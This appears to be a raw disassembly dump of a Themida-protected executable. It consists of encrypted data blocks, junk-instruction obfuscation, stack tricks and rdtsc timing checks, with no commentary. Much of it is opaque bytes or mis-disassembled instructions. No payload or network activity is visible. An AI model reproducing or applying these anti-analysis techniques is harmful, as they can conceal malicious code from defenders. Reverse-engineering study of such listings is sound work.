dd 29BD9375h, 0C3941D5Dh, 948D00BFh, 0B4EB2507h, 0E345BD9Ah
dd 33BD47BDh, 941DCFBBh, 188C40C3h, 0C3941D6Ch, 8DBB9FE3h
dd 0B9F7580h, 386C81DEh, 7B399FF3h, 35C885h, 6F500000h
dd 78E7750Ah, 91F42FE8h, 0F85E8837h, 1D5D29BDh, 47EC394h
dd 0BD47BDA2h, 84084150h, 50A7A640h, 0C569FB61h, 0C3941D81h
dd 2C123C06h, 0B4A50BDh, 6F33D5DDh, 7AE10B08h, 5492D042h
dd 0D39D4BD9h, 948C3B5Bh, 0FA4EB4C3h, 575E0613h, 0B48B937Ah
dd 4BA88CC0h, 0F8D5DE4Dh, 6F65DB06h, 0B493750Ah, 88B7CD38h
dd 0CCDF85Eh, 25374005h, 45h, 6A1EBDC3h, 0B88B22A3h, 116834D2h
dd 29BDA80Eh, 0C3941D5Dh, 0BD76E8D2h, 899F4750h, 0AAF35ABEh
dd 41EF2397h, 50BD69AFh, 73DA7445h, 7BB31524h, 2CC885h
dd 0F9240000h, 0B44848AEh, 69E53274h, 0A34D8175h, 750A6FBDh
dd 5D29BD93h, 7EC3941Dh, 0D027D604h, 0BDD147E1h, 6FD7DE47h
dd 57C92D1Ch, 0D1C8857Bh, 50000000h, 0E10B086Fh, 941D314Dh
dd 0C8BC86C3h, 3A391461h, 0F8D5DEDAh, 0CB2BCD72h, 3A8EB9CFh
dd 0C67539C6h, 9AEE9A12h, 1961C394h, 0DB150B25h, 750A6F65h
dd 2A2678E7h, 3A83408Eh, 1074D8E5h, 33E4D3Ch, 0B7AD5BBFh
dd 0CCD4CB4h, 25374005h, 4Fh, 750A6FC3h, 5D29BD93h, 0D2C3941Dh
dd 33BD76E8h, 0DE5BBDC2h, 0DAFACE9Ch, 4D817569h, 50BDBDA3h
dd 43870B4Ah, 6C5DA8A5h, 0CBF60FFEh, 7FE50347h, 0F504F17Bh
dd 0BD342AC4h, 0DA744550h, 3F65h, 0BC69FB00h, 0F3975F66h
dd 74C3941Dh, 6F7AE00Eh, 0BD93750Ah, 941D5D29h, 0D6047EC3h
dd 1DA42044h, 422BC394h, 523073Eh, 0BD47BD1Fh, 84B1C233h
dd 7014DC30h, 0F7C3941Dh, 9DE86583h, 857BCAACh, 14F8D5DEh
dd 0FF6453A5h, 44C8050Eh, 941D9EECh, 545153C3h, 0FD6F5AAFh
dd 1EC80110h, 0B95FA845h, 6427E17Dh, 2B9FF32Ch, 165082DAh
dd 6B830D97h, 0C394181Fh, 0D8E73F90h, 2E3C1074h, 9418C286h
dd 0D37D45C3h, 7A89297Ah, 91A0F647h, 0A4F8A6BDh, 0B1C34D9Fh
dd 9418493Dh, 4AE4DEC3h, 9F243BBAh, 1CCE34BDh, 7A94ABF1h
dd 0EA2E5E96h, 0B9FB3A60h, 0E835D42Ch, 261C2C35h, 0F8000000h
dd 3E311EBDh, 0FF85F263h, 94B51377h, 4AAE94C3h, 6964B19Ch
dd 0B5394DE5h, 0B4CCC394h, 1FC7D039h, 1FC43807h, 0ED5DEF9h
dd 941DE2E6h, 0E0E408C3h, 67C3941Dh, 7A5EA413h, 4E594496h
dd 0C24B8F73h, 0D83C80BDh, 0AE0E6E2Eh, 0C4DAED20h, 0A3509FDh
dd 0B3B93D52h, 94294F3Bh, 86FAC0C3h, 0C6D3D054h, 261CBD83h
dd 1B613Dh, 0F6C352DAh, 166C4470h, 186D98A2h, 0D43753DBh
dd 42B83070h, 99A69A6Eh, 3CA7B8FDh, 0D9AD5B6Ah, 307086A9h
dd 0F801EC7Ch, 53C671C5h, 9D257941h, 0DCD67054h, 0A2123BD1h
dd 1F3F2625h, 0D9000000h, 0E10B086Fh, 941D294Dh, 0B6A49EC3h
dd 0DE053447h, 2427h, 0B3C83500h, 0DEE93F8Eh, 86FCA30h
dd 0DF57E10Bh, 0C3941DABh, 4628C63Ch, 941D4E2Eh, 13D921C3h
dd 0B9BA97E2h, 154C85Bh, 9A240000h, 941D7612h, 6781F9C3h
dd 710E6FF1h, 0DE65DB9Fh, 0B406F8D5h, 50CCD4Ch, 63253740h
dd 0C3000000h, 9F710E6Fh, 1D5D29BDh, 0BFC394h, 0F5935839h
dd 76129AA3h, 0F9C394D7h, 8483AD81h, 3741ACBEh, 0CCFDFF18h
dd 6BDD7D7h, 47BD72E8h, 0CFBB33BDh, 4EC3941Dh, 40840845h
dd 3C0116F7h, 0F6107448h, 27350417h, 1D751195h, 15FAC394h
dd 347CB06h, 7B1B012Fh, 27C885h, 0F9240000h, 0E82C90AFh
dd 0E6FD83Eh, 0D559EB71h, 0C3941DB1h, 3C22CC36h, 1D5D29BDh
dd 47EC394h, 0DE47BDA2h, 7B18FED3h, 0F8D5DE85h, 6F65DB06h
dd 0B493750Ah, 50CCD4Ch, 4F253740h, 0B7000000h, 81B23B08h
dd 29C710C0h, 750A6F33h, 5D29BD93h, 0BFC3941Dh, 0E10F464Eh
dd 246EE62h, 85C3941Dh, 0BDE759BDh, 21D7DE47h, 0F207944Bh
dd 0E01F73C7h, 0BF935C4Ch, 4F17BD9h, 1A7EC2FFh, 33BD76ECh
dd 941DCFBBh, 0CC7A40C3h, 3357h, 0A6FF100h, 50BD9375h
dd 42860A47h, 26A2CAA4h, 5C3941Dh, 47BD2B8Dh, 764B50BDh
dd 172275D8h, 5733BBC5h, 98C3941Dh, 0EF56E98Eh, 69512EF6h
dd 857B59BFh, 0BFFD6DEh, 941DAADBh, 9B2A68C3h, 0C12B2272h
dd 48495C9Ah, 9BB56C26h, 0D6DE38D8h, 52A20BFFh, 0EF29977Bh
dd 32E55ADEh, 0B98E9206h, 0A2F25BF5h, 342648ABh, 2CC3946Eh
dd 404E924Eh, 0FE8F8932h, 0A757FFFFh, 0C3941D27h, 941C2FDFh
dd 1DB4D7C3h, 242C394h, 0E0C3941Dh, 3DEBE635h, 941DD9A9h
dd 1DA121C3h, 0B910394h, 0E358EA70h, 1AD09DF4h, 0D79F49A3h
dd 0FD99C1ABh, 0C934261Ch, 300D12BAh, 0FA1468DCh, 0FD861616h
dd 7932F06Fh, 3E82BFC4h, 18513DDAh, 68FC6E98h, 846D4FBDh
dd 2D59CD5Fh, 0A2F0734Fh, 6951AE58h, 6AA3D39Eh, 53341E4Ch
dd 26Dh, 6EF5CCD6h, 985B7681h, 362D1C6Fh, 61F2C1D9h, 92417C84h
dd 0DB213C23h, 898E7FE4h, 367EAFB4h
dd 0DE2BC41Fh, 618B70E3h, 8478B9CDh, 0D9BF0EC5h, 72F8D5DEh
dd 0AADE56E0h, 3DC3941Dh, 1D790DC5h, 61CEC394h, 73573B16h
dd 119F11Fh, 0E87AE07Bh, 6FD3EE3Dh, 669FD2Bh, 0F7BD83F2h
dd 0BECE5083h, 8E3A7BBEh, 758755EEh, 0F94D7088h, 209B6B85h
dd 39446C53h, 99EA1BC1h, 4D56B7ACh, 2CA48C70h, 1C304B5Bh
dd 8471FB80h, 0CAA4427Fh, 5CB445A2h, 0EA3AEB4Eh, 0FD2B6FD3h
dd 0C736241Eh, 0B35C87B2h, 55E76B66h, 364A8EE6h, 9A639AF4h
dd 0F4C8BC89h, 213A425Ah, 3CB0B33Bh, 41B9504Dh, 2F166A9Bh
dd 41C9675Bh, 22C85329h, 3D81358Ah, 2E3C065Ah, 449FAAFFh
dd 9F635EABh, 7954A04Dh, 0CF97B195h, 223A27BFh, 8456ED8Fh
dd 2E087F60h, 2B709D5Ch, 271BF816h, 0F77F8953h, 18098093h
dd 475F2E14h, 0AECECE78h, 0C8354795h, 0C63A8EB3h, 84B55C28h
dd 300A6602h, 0BF5FAC37h, 0F057B3AAh, 14Dh, 4E95ACF6h
dd 0F87B56A1h, 16CDFC0Fh, 4192A1F9h, 0F2615CA4h, 0BBC11C43h
dd 69AE5F84h, 161E8F54h, 0BECB243Fh, 41AB5083h, 847B592Dh
dd 0F95F2EC5h, 0E7AD0D6Fh, 61B3DDCFh, 980CDE32h, 0BD835EF7h
dd 0A09FE748h, 411F8DCh, 961D5C9h, 0F002E873h, 6452087Ch
dd 8DBB9F3Ah, 6CB64BE3h, 3307446Fh, 6CB3B934h, 857AC88Ch
dd 0E1h, 0D201384Ah, 0CD7E235h, 0BAB990E3h, 0D50E354Dh
dd 6DDE038h, 4F55A8BFh, 0FD02E370h, 0A2F213C0h, 4A5F48ABh
dd 0D517E47Fh, 847B3551h, 55CBBAC5h, 0CFBB33BDh, 40C3941Dh
dd 0D9AD9CEFh, 576781E5h, 0C12C3E45h, 0FC6E98B7h, 83F27F68h
dd 68AF0BDh, 9DE24257h, 76974CA0h, 4CAC102Dh, 0ADC12B30h
dd 446C5316h, 92C91367h, 7D3BCC81h, 81FC2FA4h, 662607B0h
dd 8103E402h, 5D8BFF77h, 261C304Bh, 8C704F57h, 58AF9E48h
dd 0E1D8A69h, 0BFC72033h, 24D15380h, 2A2770D0h, 0BA0E62A6h
dd 91A0F746h, 0CE3FE92Dh, 0BF688BCAh, 6C995A65h, 0D5C02A17h
dd 0C80CF0CFh, 5CA8451Eh, 15F261h, 73A22E35h, 61A52920h
dd 0C3146C7h, 6EF587D7h, 0B0D368FCh, 56AC4E5Ch, 0D3EE3BE2h
dd 3F100h, 841B0000h, 0FDD4DE9Ch, 7A57A009h, 0E6D12796h
dd 6F52AB12h, 0D7EE329Bh, 5F66BA63h, 0C5FC02EBh, 40798871h
dd 0CFFA0DFCh, 3768CF7Bh, 89000061h
; ---------------------------------------------------------------------------
add al, 24h
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
push 73EFh
mov [esp], ebx
push eax
push edx
mov edx, 510B2F31h
or edx, 766645B7h
shl edx, 6
sub edx, 0C15FB7AAh
mov eax, edx
pop edx
add eax, 78296C42h
add eax, 736ABAFBh
mov ebp, eax
pop eax
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebx
sub esp, 4
mov [esp], ebp
add dword ptr [esp], 194240FAh
pop dword ptr [ebx+8]
sub dword ptr [ebx+8], 194240FAh
mov ebx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
pop esp
mov ebp, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_543FDB
; ---------------------------------------------------------------------------
dw 6326h
dd 0B4DE589Ah, 0BBBA1337h, 679AB84Ch, 0C5030610h, 0FE8C38Bh
dd 48000000h, 0E37C9C8h, 502D576Ah, 0E46CD956h, 0B96687CEh
dd 0E95B6738h, 6, 0D1B08134h, 0C381DAFBh, 6A1Ch, 0CE9h
dd 0C7198C00h, 0FBDB3B86h, 1F0601D4h, 80D22BDCh, 34FF64F0h
dd 5FCC8A1Ah, 7E9h, 5879F100h, 1FD58DF7h, 0A30BEF81h, 0AB85082h
dd 81367635h, 0B497EDC7h, 0C6EF8155h, 0E9596F26h, 0Fh
dd 0CAEC4D14h, 0CAE7C998h, 0D565C01h, 570B638Dh, 48FC68Bh
dd 15BEBE13h, 8E0F7E9Fh, 0Dh, 356BBF60h, 8C0F3A65h, 0
dd 2EA8361h, 0BCD48056h, 814A4A58h, 0A64CA7DEh, 94FA815Eh
dd 0FFFFF96h, 0FFFF8985h, 8DEE8AFFh, 1069BD8Dh, 89E4B306h
dd 0B174D8Dh, 8D096006h, 60B0051h, 0C7614AB1h, 0B011985h
dd 647406h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1504h, 0C3504000h, 0B58B7F43h, 60B2F29h, 0DE9h, 0F8113800h
dd 5BA1351Dh, 29FE7348h, 85C7DE98h, 60B1009h, 0
; ---------------------------------------------------------------------------
push eax
sub esi, [ebp+60B085Dh]
pop ebx
push edi
pop ebx
push dword ptr [ebp+60B1AA9h]
jmp loc_592A35
; ---------------------------------------------------------------------------
db 0E2h, 80h, 0E7h
; ---------------------------------------------------------------------------
retf
; ---------------------------------------------------------------------------
mov ebp, 6CFD3894h
enter 2A7Dh, 8Dh
retf 72BFh
; ---------------------------------------------------------------------------
db 8Bh, 71h, 66h
db 62h
; ---------------------------------------------------------------------------
loc_592A35: ; CODE XREF: Themida_:00592A1Cj
mov eax, [ebp+60B19EDh]
call dword ptr [ebp+60B0AC5h]
jmp loc_592A5A
; ---------------------------------------------------------------------------
dw 541Eh
dd 0B744E9A8h, 5CFFEC70h, 45EF5574h, 0BD6BCAF1h
db 74h, 0B4h
; ---------------------------------------------------------------------------
loc_592A5A: ; CODE XREF: Themida_:00592A41j
push 0
call dword ptr [ebp+60B32DDh]
mov eax, eax
jmp short loc_592AB5
; ---------------------------------------------------------------------------
dw 0C07h
dd 0A008D39Fh, 6C3AD078h, 97D7163Fh, 0C5C72EB9h, 0CB6EAD0Bh
dd 0E4B90DCAh, 633CF005h, 6A1DF768h, 0B3DE9184h, 555A46ADh
dd 805A23F5h, 0DAA6F02Fh, 0EAD92CE4h, 6427F937h, 625378E9h
dd 538C51DDh, 760F6A56h, 160DA97Ah, 361E4195h
; ---------------------------------------------------------------------------
push ebx
loc_592AB5: ; CODE XREF: Themida_:00592A64j
jmp loc_592C11
; ---------------------------------------------------------------------------
push 0
push edi
call sub_592AC5
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_592AC5 proc near ; CODE XREF: Themida_:00592ABDp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_592AC5 endp
; ---------------------------------------------------------------------------
db 13h, 0E9h, 0Bh
dd 73000000h, 6763C9ACh, 8BB8647h, 0E960C3B8h, 9, 960A9845h
dd 0EDE7F23Ah, 611CB4EAh, 6AAEB58Dh, 0CE90610h, 2E000000h
dd 0EAE0B2D5h, 1D784338h, 8D2BF3B5h, 0E4D7E85h, 0CE906h
dd 0F0500000h, 0FF221291h, 13DCFAF2h, 0D0FF18C9h, 1840Fh
dd 0C3F50000h, 0BE860h, 43310000h, 0D6BD6D83h, 0A3324C73h
dd 0D9BF0F5Fh, 0A291B85Eh, 0F613392h, 18Eh, 8C66FC00h
dd 59BE60D9h, 0E847E702h, 6, 0CE905D72h, 13E9F0BBh, 0A4000000h
dd 0C70D4059h, 0D13607Ah, 5D94C0E8h, 4C35F612h, 6158D54Ch
dd 0F04C1F6h, 3F84h, 1850F00h, 0FC000000h, 0CB8BFB8Bh
dd 75AEC032h, 0F7CF2BFDh, 8BF92BD9h, 0D98B49D7h, 20CD00EBh
dd 1013Fh, 1874C00Bh, 8B0C708Dh, 0A6CB8BFAh, 75490A75h
dd 1B8FAh, 9EB0000h, 0E4EB008Bh, 0B8h, 6660CF00h, 0B1E4C781h
dd 860F6061h, 6, 800Fh, 13E80000h, 7F000000h, 0A2C0E6E1h
dd 9FA25DA4h, 48032F29h, 3DBFBB6Bh, 10E9B2AEh, 53000000h
dd 0A32890C7h, 61E5914Dh, 83008782h, 59EA00D8h
; ---------------------------------------------------------------------------
popa
loc_592C11: ; CODE XREF: Themida_:loc_592AB5j
mov dword ptr [ebp+6106B04h], 1013Fh
jmp loc_592D5C
; ---------------------------------------------------------------------------
dd 4Fh dup(0)
; ---------------------------------------------------------------------------
loc_592D5C: ; CODE XREF: Themida_:00592C1Bj
cmp dword ptr [ebp+60B2859h], 1
jz loc_5931C8
pusha
jp loc_592D75
mov edx, 66CA4844h
loc_592D75: ; CODE XREF: Themida_:00592D6Aj
mov edi, 1BF9488Ch
popa
mov byte ptr [ebp+60B2845h], 43h
jmp loc_592D9A
; ---------------------------------------------------------------------------
db 12h
dd 0A74BE0D9h, 890EB4C7h, 0EC67A255h, 9D39F7A4h
db 0DDh, 0F2h
; ---------------------------------------------------------------------------
loc_592D9A: ; CODE XREF: Themida_:00592D82j
push 0FBCF2E8Dh
jnz loc_592DB7
push eax
push edx
jle $+6
rdtsc
push eax
push edx
rdtsc
pop edx
pop eax
pop edx
pop eax
loc_592DB7: ; CODE XREF: Themida_:00592D9Fj
xor dword ptr [esp], 176AFE78h
cld
push dword ptr [ebp+60B1355h]
jnz loc_592DD7
jz loc_592DD7
jz $+6
loc_592DD7: ; CODE XREF: Themida_:00592DC5j
; Themida_:00592DCBj
lea eax, [ebp+60E7D18h]
jmp loc_592DEE
; ---------------------------------------------------------------------------
dw 0CBDAh
dd 38333106h, 3F8FF292h
db 93h, 30h
; ---------------------------------------------------------------------------
loc_592DEE: ; CODE XREF: Themida_:00592DDDj
call eax
pusha
mov dl, ah
popa
mov [ebp+60B28F1h], eax
push 0
push edi
call sub_592E05
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_592E05 proc near ; CODE XREF: Themida_:00592DFDp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_592E05 endp
; ---------------------------------------------------------------------------
pop ds
mov esp, 68BF00F3h
mov bl, 77h
mov cl, 60h
sub dl, 0FCh
call near ptr loc_592E34+2
sbb cl, [edx]
adc [edx+40A9F794h], ah
cmp eax, 0C9319C79h
loc_592E34: ; CODE XREF: Themida_:00592E22p
mov esi, 1EBA6648h
push 5Ah
popa
mov byte ptr [ebp+60B2845h], 50h
stc
pusha
sub edi, 42895003h
popa
push 5632297Bh
jmp loc_592E67
; ---------------------------------------------------------------------------
dw 667Ch
dd 953ECDC7h, 0E5C521D9h, 91B9001Dh
db 39h, 0A7h, 0D5h
; ---------------------------------------------------------------------------
loc_592E67: ; CODE XREF: Themida_:00592E51j
add dword ptr [esp], 527B83DBh
cmc
push dword ptr [ebp+60B1355h]
clc
lea eax, [ebp+60E7D18h]
push 0
push edx
call sub_592E87
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_592E87 proc near ; CODE XREF: Themida_:00592E7Fp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Dh
inc edx
push edx
retn
sub_592E87 endp
; ---------------------------------------------------------------------------
db 66h
dd 0EB4F0DD8h, 0A6C77996h, 0B8C0FF7h, 60000000h, 0CBFFF081h
dd 0D18009B3h, 0D0FF61BBh, 0C870F60h, 0E8000000h, 6, 7EE82B4Eh
dd 505F69E2h, 615AA8B5h, 1F598589h, 0AE9060Bh, 33000000h
dd 0A83C07BCh, 1480B9E1h, 0CA68F8C3h, 50DA8189h, 6870F52h
dd 0F000000h, 89h, 60310F00h, 6E96160h, 97000000h, 37C740D3h
dd 585A61CCh, 0E5243481h, 0F2A0E21h, 28Bh, 0FF616000h
dd 0B1355B5h, 1820F06h, 0FC000000h, 7D18858Dh, 14E9060Eh
dd 0A3000000h, 0CAEB332Ah, 690852Dh, 73D3B8F8h, 6F62651Bh
dd 0FF860E5Bh, 6E9D0h, 7ACE0000h, 9DA59DD1h, 21718589h
dd 6A060Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
dd 50400000h, 0B9EB98C3h, 6E9h, 7AD03800h, 0C6A18243h
dd 0B284585h, 0E8F95006h, 4, 979CDC56h, 0CE960h, 0B52E0000h
dd 89FAC1C6h, 0AC249499h, 8B661668h, 505061D8h, 0CE952h
dd 99450000h, 0E24EC6D8h, 1E0A90D9h, 310F8B09h, 0F525060h
dd 8B585A31h, 585A61CAh, 424448Bh, 0DE860h, 65ED0000h
dd 0AB825DC4h, 33CD7AD2h, 57F1ADF4h, 8B615F5Ah, 12820F00h
dd 50000000h, 0F525052h, 0F585A31h, 860F31h, 5A000000h
dd 24448958h, 9E904h, 1A1F0000h, 52A2AE6Dh, 589CC33Dh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0D4C35242h
dd 1B5FFF8h, 60060B0Bh, 2890Fh, 61600000h, 0B70F6061h
dd 5F5750F0h, 858D6158h, 60B390Dh, 7830Fh, 0B8600000h
dd 7F10A19h, 60D0FF61h, 2840Fh, 0FE8B0000h, 3CDABF66h
dd 45858961h, 0E9060B2Eh, 13h, 0E7C2303Eh, 6ED831FDh, 0DB37EC48h
dd 0BF937CE7h, 0E99C6A85h, 13Ch, 0CE9h, 0DB564200h, 724615F4h
dd 365B376Ch, 8D0F5056h, 0Ch, 6890Fh, 860F0000h, 0
; ---------------------------------------------------------------------------
mov [esp], ebp
jl loc_5930BA
cld
loc_5930BA: ; CODE XREF: Themida_:005930B3j
mov ebp, esp
jmp loc_5930D3
; ---------------------------------------------------------------------------
db 0BFh, 2Fh, 0F9h
dd 8268286Fh, 2EEE8888h, 8774C66Eh
db 92h, 0F7h, 67h
; ---------------------------------------------------------------------------
loc_5930D3: ; CODE XREF: Themida_:005930BCj
add esp, 0FFFFFFFCh
stc
pusha
push 0
push edx
call sub_5930E3
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5930E3 proc near ; CODE XREF: Themida_:005930DBp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_5930E3 endp
; ---------------------------------------------------------------------------
db 8Dh
dd 18E0FEFh, 0F9000000h, 0E8h, 0EA815A00h, 610705Dh, 0FC45C7h
dd 83000000h, 0B2859BAh, 840F0106h, 98h, 6A006A52h, 0F192FF0Fh
dd 5A060B28h, 6B7C8289h, 9A8D0610h, 6106B80h, 2803C752h
dd 53000001h, 5992FF50h, 5A060B1Fh, 809A8D52h, 5306106Bh
dd 6B7CB2FFh, 92FF0610h, 60B2E45h, 74C00B5Ah, 809A8D50h
dd 8D06106Bh, 0C933247Bh, 104F981h, 0D4740000h, 393C8141h
dd 4558452Eh, 348DEE75h, 0C752B39h, 2B7DBA8Dh, 4D8B060Bh
dd 32A4F30Ch, 0FF52AAC0h, 828D0875h, 60B2B7Dh, 7192FF50h
dd 5A060B21h, 0A075C00Bh, 1FC45C7h, 0EB000000h, 0FC45C707h
dd 0
; ---------------------------------------------------------------------------
popa
mov eax, [ebp-4]
leave
retn 8
; ---------------------------------------------------------------------------
jmp loc_5931C7
; ---------------------------------------------------------------------------
db 61h, 0E6h, 40h
db 0D0h, 12h, 2Bh
; ---------------------------------------------------------------------------
loc_5931C7: ; CODE XREF: Themida_:005931BCj
cmc
loc_5931C8: ; CODE XREF: Themida_:00592D63j
mov edx, edx
call sub_5931D8
sbb al, 0E3h
mov esi, 0A78A82A2h
sub al, 32h
; =============== S U B R O U T I N E =======================================
sub_5931D8 proc near ; CODE XREF: Themida_:005931CAp
movzx ecx, di
pop eax
jmp loc_5931EF
; ---------------------------------------------------------------------------
db 0F6h, 0C2h, 0FDh
dd 5C1114BEh, 0D704DAC6h
db 0A5h, 0CFh, 0C1h
; ---------------------------------------------------------------------------
loc_5931EF: ; CODE XREF: sub_5931D8+4j
add eax, 6B52h
mov ch, ah
mov esi, 42701B0Fh
xor esi, 427001AEh
jmp loc_59321B
; ---------------------------------------------------------------------------
db 92h
dd 1DECAE0Fh, 53185641h, 0FC221182h, 40A73ECFh
db 4Bh, 0C7h, 0D8h
; ---------------------------------------------------------------------------
loc_59321B: ; CODE XREF: sub_5931D8+2Aj
; sub_593262+36j
push dword ptr [eax]
mov edi, 5140089Ah
pop edx
adc bl, 74h
add edx, 0D454550h
js loc_59324B
pusha
jmp loc_593244
; ---------------------------------------------------------------------------
inc ecx
mov eax, 1120D9D2h
xor [edi-9DC4E69h], bl
loc_593244: ; CODE XREF: sub_5931D8+5Bj
adc ecx, 64A3691Dh
popa
loc_59324B: ; CODE XREF: sub_5931D8+54j
xor edx, 28C85E77h
jno loc_593266
call sub_593262
mov eax, 4A1D1732h
xchg eax, ecx
sub_5931D8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_593262 proc near ; CODE XREF: sub_5931D8+7Fp
add cl, 0EAh
pop ebx
loc_593266: ; CODE XREF: sub_5931D8+79j
add edx, 194EFAC4h
pusha
mov ah, bl
pusha
mov edx, 15D38682h
cmc
popa
popa
push edx
xor di, 7CDFh
pop dword ptr [eax]
adc bx, 49F9h
sub eax, 3
mov bx, ax
dec eax
add edi, 105243C1h
sub esi, 1
jnz loc_59321B
or cl, 48h
call near ptr loc_5932B1+3
mov cl, 0Dh
db 2Eh
shr ecx, cl
or eax, 79FE43D6h
pop ds
loc_5932B1: ; CODE XREF: sub_593262+3Fp
sub [edi-7499A810h], ebp
sub_593262 endp ; sp-analysis failed
lock pop eax
pop ecx
mov si, bx
add ecx, 5FE9h
mov ax, cx
push 17C8h
mov ebx, 6677ADEDh
pop edx
jmp loc_5932DB
; ---------------------------------------------------------------------------
dw 7CB6h
db 50h, 2Fh, 80h
; ---------------------------------------------------------------------------
loc_5932DB: ; CODE XREF: Themida_:005932D1j
; Themida_:00593369j
push dword ptr [ecx]
ja loc_5932E6
and bl, 29h
loc_5932E6: ; CODE XREF: Themida_:005932DDj
pop edi
movsx ebx, cx
add edi, 67AD4F3Bh
call loc_593303
inc edi
dec eax
aas
shl byte ptr [esi+7923C2D4h], cl
mov cl, ah
lds esp, [edx+0Fh]
loc_593303: ; CODE XREF: Themida_:005932F0p
push edx
jmp loc_593318
; ---------------------------------------------------------------------------
db 8Ch, 2, 76h
dd 67E14E97h, 5D96E7E5h, 0B1E6402Ch
; ---------------------------------------------------------------------------
loc_593318: ; CODE XREF: Themida_:00593304j
pop eax
pop esi
add edi, 28CBCEC4h
push edi
mov ax, 68FBh
pop esi
sub edi, 0F68DEDBh
pusha
xor ah, 0A4h
or di, 1DB4h
popa
push edi
mov bx, ax
pop dword ptr [ecx]
mov esi, edx
sub ecx, 40B9D341h
sub ax, 2A54h
add ecx, 40B9D33Dh
jmp loc_593366
; ---------------------------------------------------------------------------
dd 0A79B1F1Bh, 79E63817h, 0A2C674F7h, 0D0FD14BAh
db 89h, 0B7h
; ---------------------------------------------------------------------------
loc_593366: ; CODE XREF: Themida_:0059334Fj
sub edx, 1
jnz loc_5932DB ; CODE XREF: Themida_:005933AFj
mov bx, 956Dh
push eax
adc ebx, [edx+ebp*8+43h] ; CODE XREF: Themida_:005933C1j
dec edx
xor [esi-0D3A51BCh], ah
mov dl, 71h
rol dword ptr [esi], 1
mov esi, ds:701C7AADh ; CODE XREF: Themida_:00593389j
jl short near ptr loc_593383+4
movsd
test [edi], edi
or dword ptr [ecx-7Bh], 24833341h
or al, [ecx+edi+78h]
jle short loc_5933BB
insd
mov [ebp+38h], ah
jl short near ptr loc_5933D3+1
jge short loc_5933DF
db 3Eh
cmp [ebx+esi-23h], bh
sub byte ptr [eax], 0DAh
xchg eax, esi
db 36h
jl short near ptr loc_5933E0+2
js short near ptr loc_593369+4
jl short near ptr loc_5933E4+2
mov ebx, 0EC8EFF35h
cmp esi, [edi+35h]
loc_5933BB: ; CODE XREF: Themida_:00593399j
out dx, al
cmp bh, al
add esi, [edi+35h]
jl short near ptr loc_593374+1
insd
mov ebp, 0DC9ED3BCh
db 26h
xor dh, ch
xor eax, 0DD213316h
jg short loc_593406
loc_5933D3: ; CODE XREF: Themida_:0059339Fj
mov ebx, 1E6D5C35h
imul esi, ebp, 47h
locret_5933DB: ; CODE XREF: Themida_:00593423j
retf 0FD31h
; ---------------------------------------------------------------------------
db 77h
; ---------------------------------------------------------------------------
loc_5933DF: ; CODE XREF: Themida_:005933A1j
push ebx
loc_5933E0: ; CODE XREF: Themida_:005933ACj
xor [ebx+esi-45h], esp
loc_5933E4: ; CODE XREF: Themida_:005933B1j
xor eax, 591E653Ah
mov bl, 9Dh
inc edx
; ---------------------------------------------------------------------------
dd 9EB21A8Fh, 3EBEAD6Eh, 0DB230EDAh, 0EE2AFD3Ah, 66DB7C35h
dd 7337C35h
db 0BBh, 0ABh
; ---------------------------------------------------------------------------
loc_593406: ; CODE XREF: Themida_:005933D1j
or al, 0B6h
db 65h
cwde
adc [edi+529E9CDEh], edi
into
mov dl, 9Fh
popa
push ebp
sbb eax, 6FDC8D6Ch
xor ebp, esi
xor eax, 0C48D6AB2h
insd
inc esp
jz short locret_5933DB
in eax, 0CDh
sub dl, [esi+9]
retn
; ---------------------------------------------------------------------------
db 0A2h
dd 5240798Ch, 0D11778BCh, 0DEDB2D35h, 0CE337C35h, 0FE6ABF6Ch
dd 3A375879h, 0C9375871h, 0AF337C35h, 78BFBF64h, 0BB337AB9h
dd 88DCFD35h, 88704E52h, 0B195B5B4h, 0C9E2F9B8h, 62557A25h
dd 0BCA3D140h, 0A0059F8Bh, 0DD632273h, 0D2A386BEh, 0EE336FB2h
dd 7BDA2F35h, 53337C35h, 7057574Fh, 0AB5B2D14h, 2E9766B1h
dd 0BE1EE9CAh, 0DD597A3Eh, 0EE309464h, 2E137C35h, 0F7BA25F6h
dd 99B27811h, 0EE2B7811h, 26727C35h, 0BC0B92F6h, 0DADBFE9Dh
dd 61337C35h, 1B073A9Ah, 75B31684h, 1DB82544h, 0E11FC253h
dd 728EC1B6h, 0CE337A3Eh, 0C8EFF3Ch, 0EE35771Ch, 24636541h
dd 0C18BBCBEh, 54337C31h, 0E51949B0h, 6DAEF133h, 44357186h
dd 5E6B27E6h, 0E51AAD88h, 60477C33h, 0C18B2F65h, 54337C31h
dd 0E51949B0h, 7EAEF133h, 44357185h, 346B27E6h, 0EE337C39h
dd 1298570Ah, 35EC5E07h, 7198D885h, 0B966C353h, 0F0F4FD53h
dd 36F3F784h, 0CD41A5A8h, 0B8331633h, 77337FDDh, 786D5C35h
dd 0F947F56Bh, 0CA77FD31h, 77336631h, 78653A35h, 6EE12630h
dd 161FFC54h, 1D67F9B8h, 3A3C7A25h, 0DD337C20h, 0EE336CDCh
dd 29807D35h, 7894FB5Ah, 0FB27497Bh, 6D2607B5h, 1DE3832Ah
dd 0B8DB2F35h, 0FD337C35h, 6768BF6Eh, 0F6375869h, 0A1375871h
